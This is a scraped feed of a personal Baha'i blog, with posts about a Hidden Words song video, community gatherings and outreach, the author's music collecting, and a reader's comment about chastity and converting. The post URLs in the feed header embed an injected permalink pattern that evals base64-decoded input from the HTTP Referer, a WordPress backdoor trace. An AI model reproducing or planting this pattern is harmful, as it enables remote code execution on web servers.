Baha'i Views » george wesley dannells http://www.bahaiviews.net Thu, 02 Feb 2012 14:05:51 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 On I Have Breathed Within Thee: O SON OF THE WONDROUS VISION! http://www.bahaiviews.net/2012/02/02/on-i-have-breathed-within-thee-o-son-of-the-wondrous-vision/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2012/02/02/on-i-have-breathed-within-thee-o-son-of-the-wondrous-vision/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 02 Feb 2012 14:05:50 +0000 george wesley dannells http://www.bahaiviews.net/?p=22195

The lyrics are from the Hidden Words of Baha'u'llah.

Arabic Hidden Word No 19
O SON OF THE WONDROUS VISION!
I have breathed within thee a breath of My own Spirit, that thou mayest be My lover. Why hast thou forsaken Me and sought a beloved other than Me?

Link to Hidden Words http://www.bahai.com/Bahaullah/hiddenwords.htm

Photographs by Derek Thompson

Thanks, Derek, for bringing this to my attention. -gw
I thought you may like to share this Paul Parrish song. An old song but the video I have just put up on youtube.

Thanks for showing the Anke Keitel song O God Guide Me I made that video and was delighted to see "as seen on Baha'i Views" appear. I don't know who requested that!

Warmest Greetings
Derek

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It's February already, and I am just poting on stuff that happened weeks ago. Like the MLK Day potluck at Time and Deb's. I marvel at the cross section of Baha'is and friends of the Faith that showed. It was such a thrill to see Linda and Robert Carpenter and their lovely grandchildren, to visit with Darachan and Kiri at long last, great to hear Tony's stories about teaching in the Soviet Union, to see Tim & Deb's newly published children's book, to see Jardana's lovely nails which she did herself, to have Charles' other grandchild be able to join us, to see Immaculate and meet her other half, Natural, and have Matt and his children and junior youth be able to hang out in Tim and Deb's big room. -gw
 
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One of the players who showed up for the Invaders practice Sunday lives at the Rescue Mission shelter currently. He travels about town on a skateboard. He's not a kid. He's a man with a dream and strong aspirations.

 
 
 
We encounter the very real problems of the world through the effort of providing the Baha'i core activities. There is poverty to start with. Homelessness. And the effects of substance abuse. Think crack babies. Behavior problems in chidren's class aren't always of the minor and mild variety. We're not afraid of the problems people have. We have expertise. We have Baha'is who have been there. We have resolve, commitment — and assurance of the outcome of our efforts. It won't be easy. -gw
 
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I told my wife last night that being at our Cluster Agencies meeting gives me the feeling of being on the absolute cutting edge of the Baha'i expansion process. -gw
 
 
 
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I've been collecting music since the early 1990's. Our public library has always had an extensive CD collection. It has been my primary resource for new discoveries.
 
My personal collection was kept on cassette tapes in the beginning. During the early years as a DJ — a "devotional jockey" — at our monthly "spiritual meeting," as we called our public devotional back then, I would cue up the songs I wanted to play using the cassette player in the Dodge Caravan while driving to and from work. The collection of cassette tapes still exists, sitting in a plastic bin in the garage somewhere.
 
My collection grew even faster when I switched over to burning mix CDs of my finds when we got a computer in 1999. I have suitcases full of the discs in slim plastic jewel cases. I began buying Baha'i music.
 
 
Then came the iPod my kids gave me for my 60th birthday. More opportunities to listen, organize and study the songs of my collection.
 
I began DJ-ing as part of my job as a mental health consultant to Head Start. I put together special collections around parenting, managing stress and the like. They were great for parent meetings and staff trainings.
 
I started to DJ for the company picnic and for the annual Brighton Creek Arts Festival weekend. Now  I DJ for our companies quarterly all-staff. Great fun to chose just the right playlist to connect hearts and minds into a common purpose.
 
Currently I'm using mix CDs as a way to help Matt and his family to connect to the Baha'i Writings. I give them a new CD every week. With a song here and a song there, I'm introducing them to the broad diversity of artists performing Baha'i-inspired music today. The family loves music — not unusual for Samoan-Americans, as I've come to learn. -gw
 
The latest mix CD I passed on to Matt last Sunday
 
A "Baha'i-inspired" mix CD
 
Computers were invented to collect music
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A new Flickr contact, Paul, and his photo set on Israel. I can never get enough of the Baha'i Holy Places. -gw
 
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Old posts still draw visitors. Below is a comment made just yesterday to a post that originally appeared in October of 2009. 
Anonymous has left a new comment on your post "On Premarital Sex: What is a relationship?":

I find it refreshing….

I was sexually molested for many years, did lose my virginity willingly at 19, married and had a child then divorced. Shortly after in a sexual monogamous relationship which ended within two years. Chose celebacy for two years and again in a sexual monogamous relationship for 5 years, married and it ended within 2 days. I chose chastity over sex being through much and having a teenager who deserved to not be confused the men I chose to bring into our lives.

I worked for a couple of years with someone. We had so many of the same beliefs morally, ethically and spiritually. He would become my dearest and truest friend….It would be several years after it was obvious how deeply connected we were before he told me he was a Baha'i. I did not know what a Baha'i was, but when he explained it everything fell into place. The subtle kiss on the cheek or forehead or peck on the lips. There was no pressure. We spent those years prior to that revelation enjoying tremendously long talks, cooking meals, watching movies, spending days and nights on the beach, and discovering each other. We like each other and when I look at him and how wonderful he is spiritually, mentally and physically, I want to be that for him. He is the reflection in the mirror. That is true intimacy, and it is undeniable.

I have studied the Baha'i Faith the past couple of years. I had always been intrigued with religions. I have discovered that in my heart I have always been a baha'i and this coming Naw Ruz I will officially declare it so! I have finally found the one God had always intended for me and the faith I had only known in my dreams!!

Best wishes to you ladies and enjoy the journey!

Posted by Anonymous to Baha'i Views at 4:13 PM

 
The original post also appeared on my Posterous site:
 
On a famous painting … Klee's "The Kiss" was featured as the visual in my original post. It was shortly after the post appeared that I was in the home of a seeker where I took the picture below. The seeker and his partner are now Baha'is and their whole family participates in the core activities of the institute process. And, yes, that is little Gilmar, at age one. Now he is three. -gw
 
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